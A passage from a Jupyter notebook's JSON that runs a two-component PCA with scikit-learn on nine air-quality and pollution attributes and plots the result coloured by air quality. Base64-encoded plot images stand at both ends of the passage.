ubqpfv75KlSolk8mk6OhoHT16VOnp6Ro9erR69epl65oBAABwn8r1mNfevXurW7du+uqrr3TgwAH99ttvMhgMCggI0EsvvaTQ0FC5urraslYAAADc56y6YcvV1VUdO3ZUx44dbVUPAAAAcFtWPR4WAAAAsCfCKwAAABwG4RUAAAAOg/AKAAAAh2HVDVs3b97Url27dPbsWZlMJot14eHhBVoYAAAA8G9WhddXX31V27dvV/Xq1eXs/L+XGgyGAi8MAAAA+Derwuu+ffu0atWq2z5lCwAAALAlq8a8mkwm1axZ01a1AAAAADmyKrx27txZy5cvt1UtAAAAQI6sGjZw8uRJHT16VIsWLVKJEiUs1n311VcFWhgAAADwb1aF1969e6t37962qgUAANwlTCaTTp8+paSkRPn4FFNQUHUZjcywCfuzKrw++uijkqS4uDhFRkbK399fZcqUsUlhAADAPo4cOaT169cqNjbGvMzPz199+vRTw4YhdqwMsDK8pqSk6MUXX9TevXuVkZEhg8Ggpk2bau7cuSpatKitagQAAIXkyJFDWrRonmrXrqfy5R/Q1aspKlLESzdu3NCiRfM0YsQzBFjYlVX9/7Nnz9aVK1e0bds2HTt2TJ9//rlMJpNmzpxpq/oAAEAhMZlMWr9+rby9i+rEiZ919OghnTr1q44ePaQTJ36Wt3dRrV+/NsuDioDCZFV43bdvn2bPnq3KlSvLzc1NQUFBmjlzpr788ktb1QcAAArJ6dOnFBsbo8uXk+Ts7KywsC6aPn22wsK6yNnZWZcvJyk2NkanT5+yd6m4j1k1bODatWvy9va2WFa0aFE+gQEAcA+Ii4uVJDk5OWn+/KVydXWVJPXs+Zi6dOmh8PAhunnzprkdYA9W9bzWq1dP8+bNU0ZGhiQpIyND8+bN44lbAADcA44ePSRJaty4qTm4ZnJ1dVWjRk0s2gH2YFXP6/PPP6/+/ftry5YtCggIUGRkpAwGg1auXGmr+gAAQCG5fv26JCkhIV4mk8liaiyTyaSkpASLdoA9WBVeg4KCtGvXLn355ZeKj49XQECAWrRoIS8vL1vVBwAACknp0mX0668nderUL1qw4B2FhXVVQEA5RUae144dW3Tq1C/mdoC9WBVeJalYsWLq1auXLWoBAAB21KdPP+3b96WMRqPOn/9bM2a8Zl7n6+svo9Eok8mkPn362a9I3PdyFV4bNGigo0ePqnr16jIYDNm2+fXXXwu0MAAAULhcXV1Vv35D/fzzESUmJigkpIkeeKCyzp79Q0ePHpLJZFL9+g2zjIcFClOuwuuSJUskSatWrbJpMQAAwL5Gj35W8+fP0c8/H9GhQz/p0KGfzOvq12+o0aOftWN1QC7Da6NGjSRJu3fv1uTJk7Osf+GFF9S4ceOCrQwAANjF6NHPKi0tTevXr1V09EWVKlVaffr0o8cVd4U7htfo6Gjt379fkrRhwwbVrl3bYn1ycrL27Nljm+oAAIBduLq66oknBtm7DCCLO4bX4sWLa82aNYqPj1daWpreffddi/Vubm4KDw+3WYEAANwNYmIu6erVK/YuA4WkSBFP+fuXtHcZyMYdw6urq6s2btwoSRo8eLCWL19u86IAALibJCcna+LEZ80P6cG9z2g0as6chVmeLAr7s2qqrOyCa3p6uk6fPq2aNWsWWFEAANxNvL29NWPGnPuu5/XChSgtXbpQQ4eOVJkyZe1dTqEqUsST4HqXsiq8fvPNN3rttdcUHR1t8enT2dlZJ06cyPV2Tp06pbfeeksnT56Ui4uLmjVrpgkTJqhEiRLZ7nPWrFk6d+6cypQpoxdeeEGtWrWypmwAAPLtfr6EXKZMWVWoUNHeZQCSJOOdm/zPzJkz1a5dO40aNUpt27bVvHnzFBQUpBdeeCHX20hNTdWQIUMUHBys77//Xtu2bVNiYqImTZqUpe3Zs2c1evRoPfPMMzp8+LBGjx6tsWPHKjo62pqyAQAAcI+wKryeO3dO48ePV6dOnZSQkKB27dpp9uzZWr9+fa63ERUVperVq2vUqFFydXVV8eLF1bdvXx06dChL282bN6tRo0Zq06aNnJ2dFRYWppCQEK1bt86asgEAAHCPsGrYQIkSJWQ0GlW2bFn98ccfkqQqVaro4sWLud5GpUqVtGzZMotlu3btUq1atbK0PXPmjIKCgiyWValSRadOnbKmbEnSbR4MZlP22CeAwmUw8LOOe1fmuc15Dluz5vyyKrxWq1ZN8+bN06hRo+Tr66tvvvlG7u7ucnNzs7ZGSVJGRobmzp2rffv2ac2aNVnWX7lyRR4eHhbL3N3ddfXqVav35etb+IOuk5I8C32fAApXsWKe8vPjpg7cmzLfxzjPcTexKryOHz9eY8aMUZ8+fTRmzBiNHDlSJpPJqjGvmVJSUjRx4kSdPHlSa9asUbVq1bK08fDwUGpqqsWy1NRUeXpaHwrj4pJV2DOcJCbeuis1Ojlv4R7A3Svz5zox8YpiY5PtXA1gG5nvY5znsDWDIfcdjVaF14SEBG3ZskVOTk4KCAjQvn37dOXKFVWsaN0diH///beGDh2qsmXLauPGjdnOMiBJQUFBOnnypMWyM2fOZHnKV25kZKjQw2vm/lYdLV+4OwZQaOzxuwUoLJnnNuc57iZWhddRo0bp66+/Nl/KL1nS+mlDkpKSNHDgQDVp0kTTpk2T0Xj7e8a6du2qlStXaseOHWrXrp12796tgwcP6qWXXrJ6v/Y0oMHfKuV93d5lAChA0clufDAFADuwKrwGBgbqxIkTaty4cZ53uGnTJkVFRWnnzp364osvLNZFREQoODhYU6ZMUdeuXVW5cmW99957mjVrll566SUFBARo/vz5Vvf02lsp7+sKLJZ654YAAADIkVXh1cfHR4MGDVK5cuVUsmRJGf5xa9iqVatytY1BgwZp0KBBt10fERFh8f/mzZurefPm1pQJAACAe5RV4TU4OFjBwcG2qgUAAADIkVXhtXLlyurYsWOW5Tw0AAAAAIXhjuH12rVrSkhIkCRNmjRJ9evXV8Y/bjlMTk7Wm2++qb59+9quSgAAAEC5CK8pKSnq1KmTeb7V1q1bm9dlZGTIYDCoTZs2tqsQAAAA+P/uGF79/f315Zdf6tq1a+rSpYu2bdtmsd7NzU1+fn42KxAAAADIlKsxr76+vpKkI0eO5DgvKwAAAGBLVt2wFRMTo0WLFuns2bMymUwW63I7VRYAAACQV1aF14kTJyo2NlatWrWSi4uLrWoCAAAAsmVVeD1x4oR27dqlEiVK2KoeAAAA4LasGsDq7e0tV1dXW9UCAAAA5MiqnteRI0dq4sSJGjp0aJYZBsqWLVughQEAAAD/ZlV4nTx5siRpz549kiSDwWCe6/XXX38t+OoAAACAf7AqvH711Ve2qgMAAAC4I6vGvAYEBCggIEBJSUk6efKk/P395e7uroCAAFvVBwAAAJhZFV7j4uL02GOPqU+fPnrxxRd17tw5tWnTRhEREbaqDwAAADCzKrxOnz5dQUFBOnTokJydnVW5cmUNGzZMb7/9tq3qAwAAAMysCq8//fSTJk6cKA8PDxkMBknSkCFDdObMGZsUBwAAAPyTVeHVxcVFqampkqSMjAxJ0pUrV+Tp6VnwlQEAAAD/YlV4bd26tcaPH6+zZ8/KYDAoLi5OU6ZMUYsWLWxVHwAAAGBmVXh97rnnVKRIEXXo0EGXL19WaGiorl27pueff95W9QEAAABmVs3z6unpqXfffVfx8fE6f/68SpUqpVKlStmqNgAAAMCCVT2vUVFReuyxx3ThwgXVrVtXH3zwgf7zn/8oJibGVvUBAAAAZlaF1ylTpqhSpUqqUKGCJGno0KGqUqWK3njjDZsUBwAAAPyTVcMGIiIi9MMPP8jFxUWSVKJECU2ePFkPP/ywTYoDAAAA/smqnldnZ2fFx8dbLEtKSpK7u3uBFgUAAABkx6rw2qFDB40ZM0b79+/X2bNntX//fj3zzDNq3769reoDAAAAzKwaNjB+/HhNmTJFw4cPV1pamlxdXdW9e3eNHTvWRuUBAAAA/2NVePXw8NCbb76pN954Q0lJSfL19TU/JhYAAACwNavCqyQdP35cf/75p/nxsJm6d+9eUDUBAAAA2bIqvM6ZM0dLly6Vv7+/nJ3/91KDwUB4BQAAgM1ZFV63bNmixYsXq0WLFraqBwAAALgtq2YbuHLlCnO6AgAAwG6sCq8tW7bU1q1bbVULAAAAkCOrhg1cv35dEyZM0OLFi+Xn52exbtWqVQVa2L3kYjIPcQDuNfxcA4B9WBVeg4KCFBQUZKta7jleXt5ydXHW6qOB9i4FgA24ujjLy8vb3mUAwH3FqvAaHh5u/ndcXJx8fHwsZh2AJV9fP02dNlspKcn2LgWF4MKFKC1dulBDh45UmTJl7V0OCoGXl7d8ff3u3BAAUGCsSp43btzQzJkztWHDBqWmpsrV1VVdu3bVyy+/LFdXV1vV6NB8ff14c7vPlClTVhUqVLR3GQAA3JOsumFr4cKFOnDggObOnatt27Zp7ty5OnbsmObOnWuj8gAAAID/sarndevWrVq5cqUCA2+N4axcubIqV66sfv366YUXXrBJgQAAAEAmq3pek5KSVKZMGYtlZcqUUWpqaoEWBQAAAGTHqvBarVo1ffLJJxbLPvnkE2YgAAAAQKGwatjA2LFj9dRTT2nLli0KDAzU33//rTNnzmj58uW2qg8AAAAws6rntVGjRvr8888VGhoqT09PtW3bVtu2bVODBg1sVR8AAABgZlXP682bN1WxYkWNGTNGkhQdHa1SpUrZpDAAAADg33Ld8zpr1ixNnjzZ/P/4+Hi1bt1aM2fOtElhAAAAwL/lKryuW7dOW7ZsUZcuXczLihcvrnfffVebN2/Whg0bbFYgAAAAkClXwwY++eQTzZ49WyEhIeZlBoNBjzzyiJycnPTuu++qd+/eNisSAAAAkHLZ83r+/HmL4PpPoaGh+vvvvwu0KAAAACA7uQqvzs7OSktLy3adyWSSk5NTgRYFAAAAZCdX4bVOnTr68ssvs123Z88eVa5cuUCLAgAAALKTq/A6YMAATZkyRbt27dLNmzclSenp6dq1a5feeOMNPfHEEzYtEgAAAJByecNWaGioRowYoeeee07Ozs7y8fFRYmKiTCaTRo8erbCwMFvXCQAAAOT+IQVPPvmkwsLC9O233yo+Pl4lS5ZU8+bN5evra8v6AAAAADOrnrBVsmRJ9erVy1a1AAAAADnK9RO2AAAAAHsjvAIAAMBhEF4BAADgMKwa8ypJFy9e1KVLl+Tv768yZcrYoiYAAAAgW7kOr7///rsmT56s48ePKyMjQwaDQbVr19bUqVNVrVo1W9YIAAAASMrlsIELFy6oX79+KleunFauXKkdO3Zo8eLFKl26tPr166eoqChb1wkAAADkLrwuWrRIHTt21OzZs9WkSRNVqlRJLVq00Pz589WhQwctXrzY1nUCAAAAuQuv33//vZ5++uls1w0fPlzfffddgRYFAAAAZCdX4TUhIeG2N2eVK1dOiYmJBVkTAAAAkK1chVcvLy9FRkZmuy4qKko+Pj4FWhQAAACQnVyF12bNmmnp0qXZrlu6dKlCQ0MLtCgAAAAgO7maKmvEiBHq0aOHTCaTunbtKn9/f0VFRWnjxo367rvvtHnzZlvXCQAAAOQuvFaoUEEffPCBXnnlFa1fv14Gg0EZGRmqVauWVq1apYCAAFvXCQC4S8TFxSolJdneZaAQXLgQZfE37n1eXt7y9fWzdxk5yvVDCurUqaPNmzcrMjLS/IStcuXK2bI2AMBdJi4uVpMmjVd6epq9S0EhWrp0ob1LQCFxdnbV9Okz7+oAm+vwmpGRoXPnzql8+fLmntYdO3aoffv2cnJyslmBAIC7R0pKstLT03TuXH+lppa2dzkACpC7+0UFBq5WSkqy44fXq1ev6qmnnpKfn58WLFggSYqLi9OECRO0Zs0aLVu2TEWKFLFpoQCAu0dqammlpgbauwwA96FcP2HLxcVFU6ZMMS/z9fXVvn37lJ6ervfff99mBQIAAACZchVed+3apalTp8rX19diua+vr6ZMmaIvvvjCJsUBAAAA/5Sr8BoXF6cKFSpku65GjRqKiYkp0KIAAACA7OT6CVsJCQnZrktMTJSHh0eBFgUAAABkJ1fhtWnTplq7dm226z766CPVr1+/IGsCAAAAspWr2QaGDx+uHj16KCEhQWFhYfL399elS5e0c+dOffrpp1qzZo2t6wQAAAByF14rVqyo5cuX69VXX9XatWvNT9gKCgrS0qVLVbt2bVvXCQAAAOT+IQUNGjTQ1q1bde7cOcXHx8vf319ly5a1ZW0AAACAhVyH10yBgYEKDGRiagAAABS+XN2wBQAAANwNCK8AAABwGIRXAAAAOAzCKwAAABwG4RUAAAAOg/AKAAAAh0F4BQAAgMMgvAIAAMBhEF4BAADgMAivAAAAcBiEVwAAADgMu4fX+Ph4tW3bVgcOHLhtmyFDhqhOnToKDg42//n2228LsUoAAADcDZztufMjR45owoQJ+vvvv3Ns99///lfLly9X48aNC6kyAAAA3I3s1vO6efNmPf/88xo3blyO7c6dO6ekpCTVrFmzkCoDAADA3cpu4TU0NFR79uxRWFhYju1OnDghT09PjRs3Tk2aNFHnzp21cePGQqoSAAAAdxO7DRvw9/fPVbu0tDTVr19f48aNU9WqVXXgwAGNHj1anp6e6tixY673ZzDktVIgdzLPMYOB8w33rsxz280t2r6FAChwmT/X9ngfs2Z/dh3zmhvdu3dX9+7dzf8PDQ1V9+7dtXPnTqvCq6+vtw2qA/4nKclTklSsmKf8/DjfcG/KPM/Ll19l50oA2Mrd/j5214fXjRs3ZullTUtLk5ubm1XbiYtLVkZGQVcH/E9i4hXz37GxyXauBrCNzPP8778H6Pr1UnauBkBBcnOLVvnyq+zyPmYw5L6j8a4PrykpKZozZ44qVKig6tWr69tvv9W2bdu0fPlyq7aTkSHCK2wq8/ziXMO9LPPcvn69lFJTA+1bDACbuNvfx+7K8BocHKwpU6aoa9euGjhwoK5evarw8HDFxcUpMDBQb731lho1amTvMgEAAFDI7orw+ttvv1n8PyIiwvxvg8GgkSNHauTIkYVdFgAAAO4ydn/CFgAAAJBbhFcAAAA4DMIrAAAAHAbhFQAAAA6D8AoAAACHQXgFAACAwyC8AgAAwGEQXgEAAOAwCK8AAABwGIRXAAAAOAzCKwAAABwG4RUAAAAOg/AKAAAAh0F4BQAAgMMgvAIAAMBhEF4BAADgMAivAAAAcBiEVwAAADgMwisAAAAcBuEVAAAADsPZ3gUAAByPu/tFe5cAoIA5ys814RUAkGteXt5ydnZVYOBqe5cCwAacnV3l5eVt7zJyRHgFAOSar6+fpk+fqZSUZHuXgkJw4UKUli5dqKFDR6pMmbL2LgeFwMvLW76+fvYuI0eEVwCAVXx9/e76NzcUrDJlyqpChYr2LgOQxA1bAAAAcCCEVwAAADgMwisAAAAcBuEVAAAADoPwCgAAAIdBeAUAAIDDILwCAADAYRBeAQAA4DAIrwAAAHAYhFcAAAA4DMIrAAAAHAbhFQAAAA6D8AoAAACHQXgFAACAwyC8AgAAwGEQXgEAAOAwnO1dAO5NMTGXdPXqFXuXUaguXIiy+Pt+UqSIp/z9S9q7DADAfYDwigKXnJysiROfVUZGhr1LsYulSxfau4RCZzQaNWfOQnl7e9u7FADAPY7wigLn7e2tGTPm3Hc9r/ezIkU8Ca4AgEJBeIVNcAkZAADYAjdsAQAAwGEQXgEAAOAwCK8AAABwGIRXAAAAOAzCKwAAABwG4RUAAAAOg/AKAAAAh0F4BQAAgMMgvAIAAMBhEF4BAADgMAivAAAAcBiEVwAAADgMwisAAAAcBuEVAAAADoPwCgAAAIdBeAUAAIDDILwCAADAYRBeAQAA4DAIrwAAAHAYhFcAAAA4DGd7FwDcC0wmk06fPqWkpET5+BRTUFB1GY18NgQAoKARXoF8OnLkkNavX6vY2BjzMj8/f/Xp008NG4bYsTIAAO49hFcgH44cOaRFi+apbt1gDRs2SgEBgYqMPKft27do0aJ5GjHiGQIsAAAFiOuaQB6ZTCatX79WdesGKzx8nCpXrip3d3dVrlxV4eHjVLdusNavXyuTyWTvUgEAuGcQXoE8On36lGJjY9SpU9cs41uNRqPCwroqNjZGp0+fslOFAADcewivQB4lJSVKkgICArNdHxBQzqIdAADIP8IrkEc+PsUkSZGR57JdHxl53qIdAADIP8IrkEdBQdXl5+ev7du3ZBnXajKZtGPHFvn5+SsoqLqdKgQA4N7DbANAHhmNRvXp00+LFs3Tu+/OVsmSpXTjRppcXFx16VK0/vvfYxox4hnmewUAoAARXoF8aNgwRPXqNdDPPx/Jsq5+/YZMkwUAQAEjvAL5sH79x/r55yMqWrSomjYNlb9/ScXEXNL+/d/r55+PaP36j9Wnz3/sXSYAAPcMwiuQR+np6dqzZ4eKFvXRzJnvytn5fz9OPXr01fjxY7Rnzw716NHbYh0AAMg7BuMBebR37x6ZTCY9+mivLOHU2dlZ3br1kslk0t69e+xUIQAA9x7CK5BHMTHRkqS6dRtku75evWCLdgAAIP8Ir0Ae+fuXkiQdP3402/XHjkVYtAMAAPlHeAXyqHXrtjIajdq8eaPS09Mt1qWnp+vzzzfKaDSqdeu2dqoQAIB7D+EVyCNnZ2e1bRumy5eTNH78GH399V4lJCTo66/3avz4Mbp8OUlt24ZxsxYAAAWId1UgHzKnwdqzZ4dWr16u1atvLTcajWrfvjPTZAEAUMAIr0A+9enzH3Xv3lPr169VdPRFlSpVWn369JOrq6u9SwMA4J5DeAXy6ciRQ1q/fq1iY2MkSb/88l+dOHFMffr04wlbAAAUMMIrkA9HjhzSokXzVLdusIYNG6WAgEBFRp7T9u1btGjRPI0Y8QwBFgCAAsQNW0AemUwmrV+/VnXrBis8fJwqV64qd3d3Va5cVeHh41S3brDWr18rk8lk71IBALhnEF6BPDp9+pRiY2PUqVNXGY2WP0pGo1FhYV0VGxuj06dP2alCAADuPYRXII+SkhIlSQEBgdmuDwgoZ9EOAADkH+EVyCMfn2KSpMjIc9muj4w8b9EOAADkH+EVyKOgoOry8/PX9u1bsoxrNZlM2rFji/z8/BUUVN1OFQIAcO8hvAJ5ZDQa1adPPx0/HqEFC97RmTO/69q1azpz5nctWPCOjh+PUJ8+/bKMhwUAAHln93fV+Ph4tW3bVgcOHLhtm2+++UZdunRR/fr11bFjR+3bt68QKwRur2HDEI0Y8YwiI89pxozXFB4+RDNmvKbIyHNMkwUAgA3YdZ7XI0eOaMKECfr7779v2+bs2bMaPXq05syZo5YtW2r37t0aO3asdu/erVKlShVitUD2GjYMUb16wdq7d49iYqLl719KrVu3lbMz0ygDAFDQ7NbzunnzZj3//PMaN27cHds1atRIbdq0kbOzs8LCwhQSEqJ169YVUqVAzo4cOaSXXnpe69at0d69e7Ru3Rq99NLzOnLkkL1LAwDgnmO3rqHQ0FB16dJFzs7OOQbYM2fOKCgoyGJZlSpVdOqUdXNnGgx5KhPIUeYTturVC9bw4VmfsDVyJEMHADiuzPdOg4H3UdiWNeeX3cKrv79/rtpduXJFHh4eFsvc3d119epVq/bn6+ttVXvgTm7evKkNGz5SSEiIJk2aZL4xq1w5f4WE1Nf06dO1cePHatOmhZycnOxcLQBYLynJU5JUrJin/Px4H8Xd4a4flOfh4aHU1FSLZampqfL09LRqO3FxycrIKMjKcL87deoXXbp0SUOHjlR8/JUs69u0CdP06a9p//7Dql69ph0qBID8SUy8Yv47NjbZztXgXmYw5L6j8a4Pr0FBQTp58qTFsjNnzqh27dpWbScjQ4RXFKjExERJUtmygdmeW2XLljO349wD4Igyf3fxHoq7id2nyrqTrl276uDBg9qxY4fS09O1Y8cOHTx4UN26dbN3abjP8YQtAAAK310ZXoODg7VlyxZJUuXKlfXee+/p/fffV0hIiBYuXKj58+erYsWKdq4S9zuesAUAQOEzZGTcHxcCYmMZ84qClznbQN26wQoL66qAgHKKjDyvHTu26PjxCB5UANxDYmIu6erVrOPb72UXLkRp6dKFGjp0pMqUKWvvcgpVkSKe8vcvae8y7hsGg3J9UyDhFcinI0cOaf36tYqNjTEv8/PzV58+/QiuwD0iOTlZ48aN0H3ylgndegT4nDkL5e3NLAuFgfCaDcIrbMlkMun06VNKSkqUj08xBQVVN0+dBeDecL/1vKanp+vw4QNKSIhX8eIl1KjRg/fVkwPpeS1chNdsEF4BAMid9es/1p49OyzG8xuNRrVtG6Y+ff5jx8pwr7ImvN4/H6EAAMAdrV//sXbt2qaiRX306KO9VLduAx0/flSbN2/Url3bJIkAC7ui5xUAAEi6NVRgxIhB8vLy1syZ71oME0hPT9f48WOUkpKsRYtW3ldDCGB71vS8MigPAABIkvbu3SOTyaRHH+0lSdq9e6fWrv1Au3fvlCR169ZLJpNJe/fusWeZuM/xsQkAAEiSYmKiJUl//fWXVq8eZDHmdcOGj/Tww60s2gH2QHgFAACSJH//UpKkr7/+Mtsxr19//ZVFO8AeGPMKAAAkSampqRo1arAMBoMWLFgmd3d3i3Xh4UOUkZGh995bbrEOyC/GvAIAAKt9++0+SVJGRoYmTnxWX3+9VwkJCfr6672aOPFZ80MaMtsB9sCwAQAAIOl/Y1lbtGij777bq9Wrl2v16lvrjEajWrRoo2+++ZIxr7ArwisAAJD0v7GsDzxQQY8/vlJ79+5RTEy0/P1LqXXrtvr++28t2gH2wJhXAAAgiXleYT+MeQUAAFZzdnZW27Zhunw5SePHj7EY8zp+/Bhdvpyktm3DCK6wK3peAQCAhfXrP9aePTss5nk1Go1q2zaMR8PCJqzpeSW8AgCALNLT07OMeaXHFbZCeM0G4RUAAODuxJhXAAAA3JMIrwAAAHAYhFcAAAA4DMIrAAAAHAbhFQAAAA6D8AoAAACHQXgFAACAwyC8AgAAwGEQXgEAAOAwCK8AAABwGIRXAAAAOAzCKwAAABwG4RUAAAAOw9neBRQWg8HeFQAAACA71uQ0Q0ZGRobtSgEAAAAKDsMGAAAA4DAIrwAAAHAYhFcAAAA4DMIrAAAAHAbhFQAAAA6D8AoAAACHQXgFAACAwyC8AgAAwGEQXgEAAOAwCK9AATh16pQGDRqkxo0bq1mzZnrhhRcUHx9v77IAIM/279+v3r17q0GDBmrWrJneeOMNpaam2rssgPAK5FdqaqqGDBmi4OBgff/999q2bZsSExM1adIke5cGAHkSHx+v4cOH6z//+Y8OHz6szZs36+DBg1qyZIm9SwPkbO8CAEcXFRWl6tWra9SoUXJycpKrq6v69u2rF154wd6lAUCelChRQj/++KO8vLyUkZGhxMREXb9+XSVKlLB3aQDhFcivSpUqadmyZRbLdu3apVq1atmpIgDIPy8vL0lSixYtFB0drUaNGqlHjx52rgpg2ABQoDIyMvTOO+9o3759eumll+xdDgDk2+7du/Xtt9/KaDRqzJgx9i4HkCEjIyPD3kUA94KUlBRNnDhRJ0+e1KJFi1StWjV7lwQABeb48ePq3bu3Dh48KB8fH3uXg/sYPa9AAfj777/Vs2dPpaSkaOPGjQRXAA7t6NGj6tChg9LS0szL0tLS5OLiIg8PDztWBhBegXxLSkrSwIED1aBBAy1fvpwbGgA4vGrVqik1NVWzZ89WWlqaIiMj9dZbb6lXr15ydXW1d3m4zzFsAMinlStX6s0335SHh4cMBoPFuoiICDtVBQD5c+bMGU2fPl0nTpyQt7e3unTpolGjRhFeYXeEVwAAADgMhg0AAADAYRBeAQAA4DAIrwAAAHAYhFcAAAA4DMIrAAAAHAbhFQAAAA6D8AoAAACHQXgFAFg4e/asvUsAgNsivAJAAVi7dq2qVaumDz74wGJ5p06dtGXLFqu2dfjwYT399NNq0qSJGjRooE6dOmnBggVKTU0tsHpbt26tTZs2SZKGDBmixYsXS5L27t2rwYMHF9h+AKCgEV4BoACsXbtW//nPf7Rq1Sqlp6ebl2/fvl1du3bN9XY+/fRTDRs2TE2bNtWOHTt0+PBhvfXWW9q/f7/69u2rK1euFHjty5Yt09NPPy1JSkxMFA9eBHA3I7wCQD7t379fcXFxmjBhgkwmk3bt2mVe988ezv79+2vChAlq1aqVWrZsqZSUFIvtJCYm6vXXX9cLL7yggQMHqkSJEjIajapdu7aWLVumK1eu6L333pMkbdq0Sa1bt7Z4ff/+/TV//nxJUkpKiiZPnqx27dqpfv36at68ubl39d8yX3fgwAG9+uqrioqKUnBwsI4ePaoaNWro4sWL5rYnTpxQ/fr1s9QOAIWF8AoA+bR69Wr16dNH7u7uevzxx7VixYrbtv3xxx/1ySefaMuWLfLy8rJY9/XXXystLU3du3fP8joPDw916dLFIhjnZNasWTp//rw2btyoiIgITZ48We+8847++uuv277mwQcf1JQpU1S2bFlFRESoQYMGqlSpksWwh88++0zt27fPUjsAFBbCKwDkQ2RkpL777jv169dPktSnTx+dOXNGBw8ezLb9ww8/rFKlSqlo0aJZ1l26dEnFixeXu7t7tq8tXbq0Ll26lKu6Ro8erblz58rLy0sXL16Um5ubeR/W6NGjhzm83rhxQ9u2bVPPnj2t2gYAFCRnexcAAI7so48+Unp6urp162Zelp6erhUrVqhx48ZZ2pcsWfK22ypZsqTi4+OVmpqabYC9dOmSfH19c1VXXFycpk2bpl9++UXlypVT7dq1JUkmkylXr8/UrVs3zZkzR7/88ovOnz8vb29vhYSEWLUNAChIhFcAyKPr169r48aNmjZtmh566CHz8tOnT2vYsGH6448/srzGYDDcdnstW7aUm5ubNmzYoP79+0uSfvjhBxmNRjVo0EDbtm1Tu3btJElGo1FpaWkWr09ISDD/+5lnnlHr1q21fPlyOTs7KyEhQevXr7f6a/Tz89PDDz+s7du36/z58+rRo0eOXwMA2BrhFQDyaOvWrTIYDOrSpYtcXFzMy0uXLq2goKAs02bdSbFixfTaa6/p9ddfN/fmXr16VVOmTJGTk5M8PT0VHh4uSapcubJiY2P1008/6cEHH9SWLVsswnJycrLc3d3l5OSk+Ph4TZs2TdKtS/85cXNz07Vr15Seni5n51tvET179tTbb7+thIQETZgwwaqvCQAKGmNeASCPPvrooyzBNVPfvn31+eefKy4uzqptPvroo1q6dKkOHDigsLAwvfDCC/L29lbLli3Nsw1cu3ZNderU0YgRIzRhwgQ1btxYP/30k9q3b2/ezowZM7Rjxw41aNBAPXr0UKlSpVSzZk2dPn06x/2HhITI19dXISEh+u233yTJvO+6deuqTJkyVn09AFDQDBlM6AcADiEpKUk7d+5U3759C/3S/aOPPqqhQ4cqLCysUPcLAP9GeAUA3Naff/6pAwcOaMGCBdq7d69cXV3tXRKA+xxjXgEAt/Xyyy/rjz/+0JtvvklwBXBXoOcVAAAADoMbtgAAAOAwCK8AAABwGIRXAAAAOAzCKwAAABwG4RUAAAAOg/AKAAAAh0F4BQAAgMMgvAIAAMBhEF4BAADgMP4fbUtFJnFd/iYAAAAASUVORK5CYII="
},
"metadata": {},
"output_type": "display_data"
}
],
"execution_count": 11
},
{
"metadata": {},
"cell_type": "markdown",
"source": "## 8. PCA on 9 attributes",
"id": "27ddbb24454b9a82"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:42:56.498424Z",
"start_time": "2025-02-21T18:42:52.191600Z"
}
},
"cell_type": "code",
"source": [
"from sklearn.decomposition import PCA\n",
"from sklearn.preprocessing import StandardScaler, MinMaxScaler\n",
"\n",
"\n",
"attributes = [\"Temperature\", \"Humidity\", \"PM2.5\", \"PM10\", \"NO2\", \"SO2\", \"CO\", \"Proximity_to_Industrial_Areas\", \"Population_Density\"]\n",
"df_attributes = df[attributes]\n",
"\n",
"# 2D PCA\n",
"pca = PCA(n_components=2)\n",
"pca_result = pca.fit_transform(df_attributes)\n",
"\n",
"#\n",
"df_pca = pd.DataFrame(data=pca_result, columns=[\"PC1\", \"PC2\"])\n",
"\n",
"# Draw 2D PCA scatterplot\n",
"plt.figure(figsize=(8, 6))\n",
"plt.scatter(df_pca[\"PC1\"], df_pca[\"PC2\"], c=df[\"Air Quality\"], cmap='viridis', alpha=0.6)\n",
"plt.title(\"2D PCA (Before Normalization)\")\n",
"plt.xlabel(\"Principal Component 1\")\n",
"plt.ylabel(\"Principal Component 2\")\n",
"plt.colorbar(label='Air Quality')\n",
"plt.show()\n",
"\n",
"print(f\"Explained Variance Ratio: {pca.explained_variance_ratio_}\")"
],
"id": "f7f970172d35857e",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 2 Axes>"
],
"image/png": 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l9Hp9g+cZPXo0y5YtqxPsBoNBvvjiCwYPHozJZGq0DWPGjGHv3r3079+/9nqDBg3i9ddf59tvv23yvQDEx8dzxx13sG7dOr7//vva7T179iQ6OrpebdKsrCx+/vnnBidZHa99+/ZRVlbGFVdcQWpqau0fD8uXLwfqZwQb8/e//53du3fz3HPP1cv4lpaWsn//fubOncuQIUNqg8XfXqOx39thY8aMIRgM1ssyHw5afzsRryny8vIA6gT+QojOTzKcossrLCzkkUceITExkd/97nf1ukm7detW5wv7559/Bmq6HauqqkhLS+P111+nR48e3HLLLa3WrmHDhnHLLbfwzDPPkJGRwfnnn09ERATp6em8+uqrVFVVsXDhQhRF4bvvvqOsrIxzzjmnwXPNmjWLp556infffZcxY8bU2z9x4kTeeecdNE2rN3Fm7969tUG0pmnk5OTw7LPPEhISwu9+9zugZjb8W2+9xdVXX80f//hH4uPjWbVqFS+99BK/+93v6mTXjnTjjTeyfPlyrrjiCq677jpMJhNvvfUWWVlZvPzyy0d9febPn8/FF1/M9ddfzyWXXILZbGbRokV89913LFiw4Jiv729deOGFfP3116xcubJ2rKtOp+Mvf/kLd911F7feeiuzZ8+mtLS0dhJQQ9nV49WzZ0/sdjsvvPACBoMBg8HAN998wwcffADUH/PYkNdee41PPvmEv/zlLwSDwdr3LNTUHx0wYACJiYm8/fbbxMXFERYWxooVK/jf//5X5xqH//D64YcfCA8Pp1+/fnWuM3nyZMaOHcv9999PQUEBAwYMYN26dbz00kucf/75LarZuXHjRpKSkmrLkgkhTg4ScIou78cff8Tj8ZCdnc1ll11Wb/8jjzxSZ6WViy66qPb/HQ4HCQkJXHPNNVx66aXNKoLeFH/6058YMGAAb7/9No888ghlZWXExcUxefJk/vjHP9ZmgT766CPCw8OZNGlSg+eJiYlhwoQJLFmyhOLi4npjDadPn86zzz5LWloaQ4YMqbPvyHI9Op0Oh8PBsGHDePzxx2sznCEhIbz99ts8+eSTPP7441RWVpKYmMhtt93G73//+0bvLzU1lXfeeYennnqKu+++G0VRGDJkCG+88QajRo066mvTr18/3n77bZ5++mn+9re/oWkaffr04dlnn+W000476nMbc7hr/Uhz5szBZrPx4osvcsMNN2C325k0aRJ/+ctfascqtqbQ0FCee+45/vWvf3HLLbdgs9no378/b731Ftdeey0bNmw45tKbhycYPfXUU3VWroKabPbSpUt57rnneOihh7jzzjsxmUykpKTw/PPP8/DDD7NhwwYuv/xyUlNTmTlzJm+//TY//fQTn3/+eZ1zKYrCiy++yIIFC3jjjTcoKSkhKSmJW2+9tcXB+E8//cSMGTNa9FwhxIlL0ZozAl0IcdL64x//